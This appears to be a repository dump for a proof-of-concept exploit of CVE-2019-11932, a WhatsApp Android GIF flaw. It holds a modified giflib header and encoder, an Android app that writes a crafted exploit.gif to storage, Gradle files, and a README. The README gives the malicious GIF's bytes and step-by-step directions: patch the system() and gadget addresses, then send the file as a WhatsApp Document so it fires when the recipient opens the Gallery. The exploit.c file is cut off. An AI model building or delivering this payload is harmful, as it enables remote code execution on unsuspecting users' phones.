represent RunningCode. */\n\t\t\tMaxCode1, /* 1 bigger than max. possible code, in RunningBits bits. */\n\t\t\tLastCode, /* The code before the current code. */\n CrntCode, /* Current algorithm code. */\n\t\t\tStackPtr, /* For character stack (see below). */\n\t\t\tCrntShiftState;\n\t/* Number of bits in CrntShiftDWord. */\n\tunsigned long CrntShiftDWord;\n\t/* For bytes decomposition into codes. */\n\tuint_fast32_t PixelCount;\n\t/* Number of pixels in image. */\n// FILE *File;\n\t/* File as stream. */\n\tInputFunc Read; /* function to read gif input (TVT) */\n// OutputFunc Write; /* function to write gif output (MRB) */\n\tGifByteType Buf[256];\n\tunsigned char OutBuf[500];\n\tint OutBufLen;\n\t/* Compressed input is buffered here. */\n\tGifByteType Stack[LZ_MAX_CODE];\n\t/* Decoded pixels are stacked here. */\n\tGifByteType Suffix[LZ_MAX_CODE + 1];\n\t/* So we can trace the codes. */\n\tGifPrefixType Prefix[LZ_MAX_CODE + 1];\n// bool gif89;\n} GifFilePrivateType;\n\ntypedef struct GifFileType {\n\tGifWord SWidth, SHeight; /* Size of virtual canvas */\n// GifWord SColorResolution; /* How many colors can we generate? */\n\tGifWord SBackGroundColor; /* Background color for virtual canvas */\n// GifByteType AspectByte;\t /* Used to compute pixel aspect ratio */\n\tColorMapObject *SColorMap;\n\t/* Global colormap, NULL if nonexistent. */\n\tuint_fast32_t ImageCount;\n\t/* Number of current image (both APIs) */\n\tGifImageDesc Image;\n\t/* Current image (low-level API) */\n\tSavedImage *SavedImages; /* Image sequence (high-level API) */\n// int ExtensionBlockCount; /* Count extensions past last image */\n// ExtensionBlock *ExtensionBlocks; /* Extensions past last image */\n\tint Error;\n\t/* Last error condition reported */\n\tvoid *UserData;\n\t/* hook to attach user data (TVT) */\n\tGifFilePrivateType *Private; /* Don't mess with this! */\n} GifFileType;\n\n//#define GIF_ASPECT_RATIO(n) ((n)+15.0/64.0)\n\ntypedef enum {\n\tUNDEFINED_RECORD_TYPE,\n\tSCREEN_DESC_RECORD_TYPE,\n\tIMAGE_DESC_RECORD_TYPE, /* Begin with ',' */\n\t\t\tEXTENSION_RECORD_TYPE, /* Begin with '!' */\n\t\t\tTERMINATE_RECORD_TYPE /* Begin with ';' */\n} GifRecordType;\n\n/* func type to read gif data from arbitrary sources (TVT) */\ntypedef uint_fast8_t (*InputFunc)(GifFileType *, GifByteType *, uint_fast8_t);\n\n/******************************************************************************\n GIF89 structures\n******************************************************************************/\n\ntypedef struct GraphicsControlBlock {\n\tuint_fast8_t DisposalMode;\n#define DISPOSAL_UNSPECIFIED 0 /* No disposal specified. */\n#define DISPOSE_DO_NOT 1 /* Leave image in place */\n#define DISPOSE_BACKGROUND 2 /* Set area too background color */\n#define DISPOSE_PREVIOUS 3 /* Restore to previous content */\n// bool UserInputFlag; /* User confirmation required before disposal */\n\tuint_fast32_t DelayTime;\n\t/* pre-display delay in 0.01sec units */\n\tint TransparentColor; /* Palette index for transparency, -1 if none */\n#define NO_TRANSPARENT_COLOR -1\n} GraphicsControlBlock;\n\n/******************************************************************************\n GIF decoding routines\n******************************************************************************/\n\n/* Main entry points */\nGifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error);\n\n/* new one (TVT) */\nint DGifCloseFile(GifFileType *GifFile);\n\n#define D_GIF_ERR_OPEN_FAILED 101 /* And DGif possible errors. */\n#define D_GIF_ERR_READ_FAILED 102\n#define D_GIF_ERR_NOT_GIF_FILE 103\n#define D_GIF_ERR_NO_SCRN_DSCR 104\n#define D_GIF_ERR_NO_IMAG_DSCR 105\n#define D_GIF_ERR_NO_COLOR_MAP 106\n#define D_GIF_ERR_WRONG_RECORD 107\n#define D_GIF_ERR_DATA_TOO_BIG 108\n#define D_GIF_ERR_NOT_ENOUGH_MEM 109\n#define D_GIF_ERR_CLOSE_FAILED 110\n#define D_GIF_ERR_NOT_READABLE 111\n#define D_GIF_ERR_IMAGE_DEFECT 112\n#define D_GIF_ERR_EOF_TOO_SOON 113\n\n#define E_GIF_SUCCEEDED 0\n#define E_GIF_ERR_OPEN_FAILED 1 /* And EGif possible errors. */\n#define E_GIF_ERR_WRITE_FAILED 2\n#define E_GIF_ERR_HAS_SCRN_DSCR 3\n#define E_GIF_ERR_HAS_IMAG_DSCR 4\n#define E_GIF_ERR_NO_COLOR_MAP 5\n#define E_GIF_ERR_DATA_TOO_BIG 6\n#define E_GIF_ERR_NOT_ENOUGH_MEM 7\n#define E_GIF_ERR_DISK_IS_FULL 8\n#define E_GIF_ERR_CLOSE_FAILED 9\n#define E_GIF_ERR_NOT_WRITEABLE 10\n\n/* These are legacy. You probably do not want to call them directly */\nint DGifGetScreenDesc(GifFileType *GifFile);\n\nint DGifGetRecordType(GifFileType *GifFile, GifRecordType *GifType);\n\nint DGifGetImageDesc(GifFileType *GifFile, bool changeImageCount);\n\nint DGifGetLine(GifFileType *GifFile, GifPixelType *GifLine, uint_fast32_t GifLineLen);\n\nint DGifGetExtension(GifFileType *GifFile, int *GifExtCode,\n GifByteType **GifExtension);\n\nint DGifGetExtensionNext(GifFileType *GifFile, GifByteType **GifExtension);\n\nint DGifGetCodeNext(GifFileType *GifFile, GifByteType **GifCodeBlock);\n\nint EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen);\n/*****************************************************************************\n Everything below this point is new after version 1.2, supporting `slurp\n mode' for doing I/O in two big belts with all the image-bashing in core.\n******************************************************************************/\n\n/******************************************************************************\n Color map handling from gif_alloc.c\n******************************************************************************/\n\nextern ColorMapObject *GifMakeMapObject(uint_fast8_t BitsPerPixel,\n const GifColorType *ColorMap);\n\nextern void GifFreeMapObject(ColorMapObject *Object);\n\n//extern int GifBitSize(int n);\n#include \n#include \n#include \n#include \n\n/*\n * This is sqrt(SIZE_MAX+1), as s1*s2 <= SIZE_MAX\n * if both s1 < MUL_NO_OVERFLOW and s2 < MUL_NO_OVERFLOW\n */\n#define MUL_NO_OVERFLOW ((size_t)1 << (sizeof(size_t) * 4))\n\n__attribute__((always_inline))\nstatic void *reallocarray(void *optr, size_t nmemb, size_t size) {\n\tif ((nmemb >= MUL_NO_OVERFLOW || size >= MUL_NO_OVERFLOW) &&\n\t\tnmemb > 0 && SIZE_MAX / nmemb < size) {\n\t\terrno = ENOMEM;\n\t\treturn NULL;\n\t}\n\tvoid *ret = realloc(optr, size * nmemb);\n LOGE(\"reallocarray(%p, %d) %p\", optr, nmemb, ret);\n return ret;\n}\n\n/******************************************************************************\n Support for the in-core structures allocation (slurp mode). \n******************************************************************************/\n\n//extern void GifFreeExtensions(int *ExtensionBlock_Count,\n//\t\t\t ExtensionBlock **ExtensionBlocks);\nextern void GifFreeSavedImages(GifFileType *GifFile);\n\n/******************************************************************************\n 5.x functions for GIF89 graphics control blocks\n******************************************************************************/\n\nint DGifExtensionToGCB(const size_t GifExtensionLength,\n const GifByteType *GifExtension,\n GraphicsControlBlock *GCB);\n\n#endif /* _GIF_LIB_H */\n\n/* end */\n"
},
{
"path": "MyApplication2/app/src/main/java/com/example/myapplication/MainActivity.java",
"content": "package com.example.myapplication;\r\n\r\nimport android.Manifest;\r\nimport android.app.Activity;\r\nimport android.content.Context;\r\nimport android.content.pm.PackageManager;\r\nimport android.content.res.AssetManager;\r\nimport android.media.MediaScannerConnection;\r\nimport android.net.Uri;\r\nimport android.os.Environment;\r\nimport android.support.v4.app.ActivityCompat;\r\nimport android.support.v7.app.AppCompatActivity;\r\nimport android.os.Bundle;\r\nimport android.util.Log;\r\nimport android.view.View;\r\nimport android.widget.Button;\r\n\r\nimport java.io.FileOutputStream;\r\nimport java.io.IOException;\r\nimport java.io.InputStream;\r\nimport java.io.OutputStream;\r\nimport java.io.File;\r\n\r\npublic class MainActivity extends AppCompatActivity {\r\n\r\n // Used to load the 'native-lib' library on application startup.\r\n static {\r\n //System.loadLibrary(\"native-lib\");\r\n System.loadLibrary(\"pl_droidsonroids_gif\");\r\n }\r\n\r\n // Storage Permissions\r\n private static final int REQUEST_EXTERNAL_STORAGE = 1;\r\n private static String[] PERMISSIONS_STORAGE = {\r\n Manifest.permission.READ_EXTERNAL_STORAGE,\r\n Manifest.permission.WRITE_EXTERNAL_STORAGE\r\n };\r\n\r\n /**\r\n * Checks if the app has permission to write to device storage\r\n *\r\n * If the app does not has permission then the user will be prompted to grant permissions\r\n *\r\n * @param activity\r\n */\r\n public static void verifyStoragePermissions(Activity activity) {\r\n // Check if we have write permission\r\n int permission = ActivityCompat.checkSelfPermission(activity, Manifest.permission.WRITE_EXTERNAL_STORAGE);\r\n\r\n if (permission != PackageManager.PERMISSION_GRANTED) {\r\n // We don't have permission so prompt the user\r\n ActivityCompat.requestPermissions(\r\n activity,\r\n PERMISSIONS_STORAGE,\r\n REQUEST_EXTERNAL_STORAGE\r\n );\r\n }\r\n }\r\n\r\n @Override\r\n protected void onCreate(Bundle savedInstanceState) {\r\n super.onCreate(savedInstanceState);\r\n setContentView(R.layout.activity_main);\r\n\r\n copyAssets();\r\n verifyStoragePermissions(this);\r\n\r\n // Example of a call to a native method\r\n final Button b2 = (Button) findViewById(R.id.exploit);\r\n b2.setOnClickListener(new View.OnClickListener() {\r\n @Override\r\n public void onClick(View view) {\r\n File sdcard = Environment.getExternalStorageDirectory();\r\n FileOutputStream os = null;\r\n File gif = new File(sdcard, \"exploit.gif\");\r\n try {\r\n gif.createNewFile();\r\n os = new FileOutputStream(gif);\r\n byte[] data = generateGif();\r\n os.write(data);\r\n os.close();\r\n } catch (Exception e) {\r\n Log.e(\"Test\", \"Exception\", e);\r\n }\r\n final String path = gif.getAbsolutePath();\r\n MediaScannerConnection.scanFile(MainActivity.this,\r\n new String[] { path }, null,\r\n new MediaScannerConnection.OnScanCompletedListener() {\r\n @Override\r\n public void onScanCompleted(String s, Uri uri) {\r\n Log.i(\"ExternalStorage\", \"Scanned \" + path + \" -> uri = \" + uri);\r\n }\r\n });\r\n }\r\n });\r\n }\r\n\r\n private void copyAssets() {\r\n AssetManager assetManager = getAssets();\r\n String[] files = null;\r\n try {\r\n files = assetManager.list(\"\");\r\n } catch (IOException e) {\r\n Log.e(\"tag\", \"Failed to get asset file list.\", e);\r\n }\r\n for(String filename : files) {\r\n try {\r\n InputStream in = assetManager.open(filename);\r\n FileOutputStream out = openFileOutput(filename, Context.MODE_PRIVATE);\r\n copyFile(in, out);\r\n in.close();\r\n out.flush();\r\n out.close();\r\n } catch(IOException e) {\r\n Log.e(\"tag\", \"Failed to copy asset file: \" + filename, e);\r\n }\r\n }\r\n }\r\n private void copyFile(InputStream in, OutputStream out) throws IOException {\r\n byte[] buffer = new byte[1024];\r\n int read;\r\n while((read = in.read(buffer)) != -1){\r\n out.write(buffer, 0, read);\r\n }\r\n }\r\n\r\n /**\r\n * A native method that is implemented by the 'native-lib' native library,\r\n * which is packaged with this application.\r\n */\r\n public native byte[] generateGif();\r\n}\r\n"
},
{
"path": "MyApplication2/app/src/main/res/drawable/ic_launcher_background.xml",
"content": "\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n"
},
{
"path": "MyApplication2/app/src/main/res/drawable-v24/ic_launcher_foreground.xml",
"content": "\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n"
},
{
"path": "MyApplication2/app/src/main/res/layout/activity_main.xml",
"content": "\r\n\r\n\r\n \r\n\r\n"
},
{
"path": "MyApplication2/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml",
"content": "\r\n\r\n \r\n \r\n"
},
{
"path": "MyApplication2/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml",
"content": "\r\n\r\n \r\n \r\n"
},
{
"path": "MyApplication2/app/src/main/res/values/colors.xml",
"content": "\r\n\r\n #3F51B5\r\n #303F9F\r\n #FF4081\r\n\r\n"
},
{
"path": "MyApplication2/app/src/main/res/values/strings.xml",
"content": "\r\n My Application\r\n\r\n"
},
{
"path": "MyApplication2/app/src/main/res/values/styles.xml",
"content": "\r\n\r\n \r\n \r\n\r\n\r\n"
},
{
"path": "MyApplication2/build.gradle",
"content": "// Top-level build file where you can add configuration options common to all sub-projects/modules.\r\n\r\nbuildscript {\r\n \r\n repositories {\r\n google()\r\n jcenter()\r\n }\r\n dependencies {\r\n classpath 'com.android.tools.build:gradle:3.5.0'\r\n }\r\n}\r\n\r\nallprojects {\r\n repositories {\r\n google()\r\n jcenter()\r\n }\r\n}\r\n\r\ntask clean(type: Delete) {\r\n delete rootProject.buildDir\r\n}\r\n"
},
{
"path": "MyApplication2/gradle/wrapper/gradle-wrapper.properties",
"content": "#Sat Oct 12 08:09:12 SGT 2019\r\ndistributionBase=GRADLE_USER_HOME\r\ndistributionPath=wrapper/dists\r\nzipStoreBase=GRADLE_USER_HOME\r\nzipStorePath=wrapper/dists\r\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-5.4.1-all.zip\r\n"
},
{
"path": "MyApplication2/gradle.properties",
"content": "# Project-wide Gradle settings.\r\n# IDE (e.g. Android Studio) users:\r\n# Gradle settings configured through the IDE *will override*\r\n# any settings specified in this file.\r\n# For more details on how to configure your build environment visit\r\n# http://www.gradle.org/docs/current/userguide/build_environment.html\r\n# Specifies the JVM arguments used for the daemon process.\r\n# The setting is particularly useful for tweaking memory settings.\r\norg.gradle.jvmargs=-Xmx1536m\r\n# When configured, Gradle will run in incubating parallel mode.\r\n# This option should only be used with decoupled projects. More details, visit\r\n# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects\r\n# org.gradle.parallel=true\r\n"
},
{
"path": "MyApplication2/gradlew",
"content": "#!/usr/bin/env sh\n\n##############################################################################\n##\n## Gradle start up script for UN*X\n##\n##############################################################################\n\n# Attempt to set APP_HOME\n# Resolve links: $0 may be a link\nPRG=\"$0\"\n# Need this for relative symlinks.\nwhile [ -h \"$PRG\" ] ; do\n ls=`ls -ld \"$PRG\"`\n link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n if expr \"$link\" : '/.*' > /dev/null; then\n PRG=\"$link\"\n else\n PRG=`dirname \"$PRG\"`\"/$link\"\n fi\ndone\nSAVED=\"`pwd`\"\ncd \"`dirname \\\"$PRG\\\"`/\" >/dev/null\nAPP_HOME=\"`pwd -P`\"\ncd \"$SAVED\" >/dev/null\n\nAPP_NAME=\"Gradle\"\nAPP_BASE_NAME=`basename \"$0\"`\n\n# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nDEFAULT_JVM_OPTS=\"\"\n\n# Use the maximum available, or set MAX_FD != -1 to use that value.\nMAX_FD=\"maximum\"\n\nwarn () {\n echo \"$*\"\n}\n\ndie () {\n echo\n echo \"$*\"\n echo\n exit 1\n}\n\n# OS specific support (must be 'true' or 'false').\ncygwin=false\nmsys=false\ndarwin=false\nnonstop=false\ncase \"`uname`\" in\n CYGWIN* )\n cygwin=true\n ;;\n Darwin* )\n darwin=true\n ;;\n MINGW* )\n msys=true\n ;;\n NONSTOP* )\n nonstop=true\n ;;\nesac\n\nCLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar\n\n# Determine the Java command to use to start the JVM.\nif [ -n \"$JAVA_HOME\" ] ; then\n if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n # IBM's JDK on AIX uses strange locations for the executables\n JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n else\n JAVACMD=\"$JAVA_HOME/bin/java\"\n fi\n if [ ! -x \"$JAVACMD\" ] ; then\n die \"ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n fi\nelse\n JAVACMD=\"java\"\n which java >/dev/null 2>&1 || die \"ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\nfi\n\n# Increase the maximum file descriptors if we can.\nif [ \"$cygwin\" = \"false\" -a \"$darwin\" = \"false\" -a \"$nonstop\" = \"false\" ] ; then\n MAX_FD_LIMIT=`ulimit -H -n`\n if [ $? -eq 0 ] ; then\n if [ \"$MAX_FD\" = \"maximum\" -o \"$MAX_FD\" = \"max\" ] ; then\n MAX_FD=\"$MAX_FD_LIMIT\"\n fi\n ulimit -n $MAX_FD\n if [ $? -ne 0 ] ; then\n warn \"Could not set maximum file descriptor limit: $MAX_FD\"\n fi\n else\n warn \"Could not query maximum file descriptor limit: $MAX_FD_LIMIT\"\n fi\nfi\n\n# For Darwin, add options to specify how the application appears in the dock\nif $darwin; then\n GRADLE_OPTS=\"$GRADLE_OPTS \\\"-Xdock:name=$APP_NAME\\\" \\\"-Xdock:icon=$APP_HOME/media/gradle.icns\\\"\"\nfi\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin ; then\n APP_HOME=`cygpath --path --mixed \"$APP_HOME\"`\n CLASSPATH=`cygpath --path --mixed \"$CLASSPATH\"`\n JAVACMD=`cygpath --unix \"$JAVACMD\"`\n\n # We build the pattern for arguments to be converted via cygpath\n ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`\n SEP=\"\"\n for dir in $ROOTDIRSRAW ; do\n ROOTDIRS=\"$ROOTDIRS$SEP$dir\"\n SEP=\"|\"\n done\n OURCYGPATTERN=\"(^($ROOTDIRS))\"\n # Add a user-defined pattern to the cygpath arguments\n if [ \"$GRADLE_CYGPATTERN\" != \"\" ] ; then\n OURCYGPATTERN=\"$OURCYGPATTERN|($GRADLE_CYGPATTERN)\"\n fi\n # Now convert the arguments - kludge to limit ourselves to /bin/sh\n i=0\n for arg in \"$@\" ; do\n CHECK=`echo \"$arg\"|egrep -c \"$OURCYGPATTERN\" -`\n CHECK2=`echo \"$arg\"|egrep -c \"^-\"` ### Determine if an option\n\n if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition\n eval `echo args$i`=`cygpath --path --ignore --mixed \"$arg\"`\n else\n eval `echo args$i`=\"\\\"$arg\\\"\"\n fi\n i=$((i+1))\n done\n case $i in\n (0) set -- ;;\n (1) set -- \"$args0\" ;;\n (2) set -- \"$args0\" \"$args1\" ;;\n (3) set -- \"$args0\" \"$args1\" \"$args2\" ;;\n (4) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" ;;\n (5) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" ;;\n (6) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" ;;\n (7) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" ;;\n (8) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" ;;\n (9) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" \"$args8\" ;;\n esac\nfi\n\n# Escape application args\nsave () {\n for i do printf %s\\\\n \"$i\" | sed \"s/'/'\\\\\\\\''/g;1s/^/'/;\\$s/\\$/' \\\\\\\\/\" ; done\n echo \" \"\n}\nAPP_ARGS=$(save \"$@\")\n\n# Collect all arguments for the java command, following the shell quoting and substitution rules\neval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS \"\\\"-Dorg.gradle.appname=$APP_BASE_NAME\\\"\" -classpath \"\\\"$CLASSPATH\\\"\" org.gradle.wrapper.GradleWrapperMain \"$APP_ARGS\"\n\n# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong\nif [ \"$(uname)\" = \"Darwin\" ] && [ \"$HOME\" = \"$PWD\" ]; then\n cd \"$(dirname \"$0\")\"\nfi\n\nexec \"$JAVACMD\" \"$@\"\n"
},
{
"path": "MyApplication2/gradlew.bat",
"content": "@if \"%DEBUG%\" == \"\" @echo off\r\n@rem ##########################################################################\r\n@rem\r\n@rem Gradle startup script for Windows\r\n@rem\r\n@rem ##########################################################################\r\n\r\n@rem Set local scope for the variables with windows NT shell\r\nif \"%OS%\"==\"Windows_NT\" setlocal\r\n\r\nset DIRNAME=%~dp0\r\nif \"%DIRNAME%\" == \"\" set DIRNAME=.\r\nset APP_BASE_NAME=%~n0\r\nset APP_HOME=%DIRNAME%\r\n\r\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\r\nset DEFAULT_JVM_OPTS=\r\n\r\n@rem Find java.exe\r\nif defined JAVA_HOME goto findJavaFromJavaHome\r\n\r\nset JAVA_EXE=java.exe\r\n%JAVA_EXE% -version >NUL 2>&1\r\nif \"%ERRORLEVEL%\" == \"0\" goto init\r\n\r\necho.\r\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\r\necho.\r\necho Please set the JAVA_HOME variable in your environment to match the\r\necho location of your Java installation.\r\n\r\ngoto fail\r\n\r\n:findJavaFromJavaHome\r\nset JAVA_HOME=%JAVA_HOME:\"=%\r\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\r\n\r\nif exist \"%JAVA_EXE%\" goto init\r\n\r\necho.\r\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%\r\necho.\r\necho Please set the JAVA_HOME variable in your environment to match the\r\necho location of your Java installation.\r\n\r\ngoto fail\r\n\r\n:init\r\n@rem Get command-line arguments, handling Windows variants\r\n\r\nif not \"%OS%\" == \"Windows_NT\" goto win9xME_args\r\n\r\n:win9xME_args\r\n@rem Slurp the command line arguments.\r\nset CMD_LINE_ARGS=\r\nset _SKIP=2\r\n\r\n:win9xME_args_slurp\r\nif \"x%~1\" == \"x\" goto execute\r\n\r\nset CMD_LINE_ARGS=%*\r\n\r\n:execute\r\n@rem Setup the command line\r\n\r\nset CLASSPATH=%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\r\n\r\n@rem Execute Gradle\r\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -classpath \"%CLASSPATH%\" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%\r\n\r\n:end\r\n@rem End local scope for the variables with windows NT shell\r\nif \"%ERRORLEVEL%\"==\"0\" goto mainEnd\r\n\r\n:fail\r\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\r\nrem the _cmd.exe /c_ return code!\r\nif not \"\" == \"%GRADLE_EXIT_CONSOLE%\" exit 1\r\nexit /b 1\r\n\r\n:mainEnd\r\nif \"%OS%\"==\"Windows_NT\" endlocal\r\n\r\n:omega\r\n"
},
{
"path": "MyApplication2/local.properties",
"content": "## This file must *NOT* be checked into Version Control Systems,\r\n# as it contains information specific to your local configuration.\r\n#\r\n# Location of the SDK. This is only used by Gradle.\r\n# For customization when using a Version Control System, please read the\r\n# header note.\r\n#Sat Oct 12 07:33:23 SGT 2019\r\nndk.dir=C\\:\\\\Users\\\\Awakened\\\\AppData\\\\Local\\\\Android\\\\Sdk\\\\ndk\\\\20.0.5594570\r\nsdk.dir=C\\:\\\\Users\\\\Awakened\\\\AppData\\\\Local\\\\Android\\\\Sdk\r\n"
},
{
"path": "MyApplication2/settings.gradle",
"content": "include ':app'\r\n"
},
{
"path": "README.md",
"content": "# CVE-2019-11932\n\nThe address of system() and the gadget must be replaced by the actual address found by an information disclosure vulnerability.\n\nAfter replacing address of system() and gadget. Run the code to generate the corrupted GIF file:\n\n```\nnotroot@osboxes:~/Desktop/gif$ make\n.....\n.....\n.....\nnotroot@osboxes:~/Desktop/gif$ ./exploit exploit.gif\nbuffer = 0x7ffc586cd8b0 size = 266\n47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC\nFF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00\n00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08\n9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0\nC5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40\nC4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A\n34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00\n00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00\n18 00 0A 00 0F 00 01 00 00 3B\n```\n\nThen copy exploit.gif file and send it as Document with WhatsApp to another WhatsApp user. Take note that it must not be sent as a Media file, otherwise WhatsApp tries to convert it into an MP4 before sending. Upon the user receives the malicous GIF file, nothing will happen until the user open WhatsApp Gallery to send a media file to his/her friend.\n"
},
{
"path": "egif_lib.c",
"content": "#include \r\n#include \r\n#include \r\n\r\n#include \"gif_lib.h\"\r\n\r\nstatic int EGifBufferedOutput(GifFilePrivateType *Private, int c) {\r\n Private->Buf[0] = 0;\r\n Private->Buf[++(Private->Buf[0])] = c;\r\n Private->OutBuf[Private->OutBufLen++] = c;\r\n return GIF_OK;\r\n}\r\n\r\nstatic int EGifCompressOutput(GifFilePrivateType *Private, const int Code)\r\n{\r\n int retval = GIF_OK;\r\n\r\n if (Code == FLUSH_OUTPUT) {\r\n while (Private->CrntShiftState > 0) {\r\n /* Get Rid of what is left in DWord, and flush it. */\r\n if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)\r\n retval = GIF_ERROR;\r\n Private->CrntShiftDWord >>= 8;\r\n Private->CrntShiftState -= 8;\r\n }\r\n Private->CrntShiftState = 0; /* For next time. */\r\n if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR)\r\n retval = GIF_ERROR;\r\n } else {\r\n Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState;\r\n Private->CrntShiftState += Private->RunningBits;\r\n while (Private->CrntShiftState >= 8) {\r\n /* Dump out full bytes: */\r\n if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)\r\n retval = GIF_ERROR;\r\n Private->CrntShiftDWord >>= 8;\r\n Private->CrntShiftState -= 8;\r\n }\r\n }\r\n\r\n /* If code cannt fit into RunningBits bits, must raise its size. Note */\r\n /* however that codes above 4095 are used for special signaling. */\r\n if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) {\r\n Private->MaxCode1 = 1 << ++Private->RunningBits;\r\n }\r\n\r\n return retval;\r\n}\r\n\r\nint EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen)\r\n{\r\n int i = 0, CrntCode, NewCode;\r\n unsigned long NewKey;\r\n GifPixelType Pixel;\r\n\r\n if (Private->CrntCode == FIRST_CODE) /* Its first time! */\r\n CrntCode = Line[i++];\r\n else\r\n CrntCode = Private->CrntCode; /* Get last code in compression. */\r\n\r\n while (i < LineLen) { /* Decode LineLen items. */\r\n Pixel = Line[i++]; /* Get next pixel from stream. */\r\n\r\n if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n CrntCode = Pixel;\r\n\r\n /* If however the HashTable if full, we send a clear first and\r\n * Clear the hash table.\r\n */\r\n if (Private->RunningCode >= LZ_MAX_CODE) {\r\n /* Time to do some clearance: */\r\n if (EGifCompressOutput(Private, Private->ClearCode)\r\n == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n Private->RunningCode = Private->EOFCode + 1;\r\n Private->RunningBits = Private->BitsPerPixel + 1;\r\n Private->MaxCode1 = 1 << Private->RunningBits;\r\n }\r\n\r\n }\r\n\r\n /* Preserve the current state of the compression algorithm: */\r\n Private->CrntCode = CrntCode;\r\n\r\n if (Private->PixelCount == 0) {\r\n /* We are done - output last Code and flush output buffers: */\r\n if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n }\r\n\r\n return GIF_OK;\r\n}\r\n"
},
{
"path": "exploit.c",
